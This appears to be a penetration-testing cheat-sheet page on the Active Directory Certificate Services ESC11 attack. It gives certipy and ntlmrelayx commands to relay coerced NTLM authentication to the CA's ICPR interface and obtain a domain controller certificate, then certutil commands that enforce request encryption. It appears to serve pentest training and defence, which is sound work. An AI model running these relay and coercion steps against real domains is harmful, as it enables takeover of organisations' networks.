// Internal · Active Directory

Active Directory - Certificate ESC11

Active Directory - Certificate ESC11

ESC11 - Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

Tools:

Exploitation:

  1. Look for Enforce Encryption for Requests: Disabled in certipy output.

    certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
Enforce Encryption for Requests : Disabled
ESC11: Encryption is not enforced for ICPR (RPC) requests.

  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.

    certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController
# or
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

  3. Coerce authentication fomr a privileged account such as a Domain Controller.

  4. Use the certificate

    certipy auth -pfx dc.pfx

Mitigations:

Enforce RPC Encryption (Packet Privacy).

certutil -getreg CA\InterfaceFlags
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.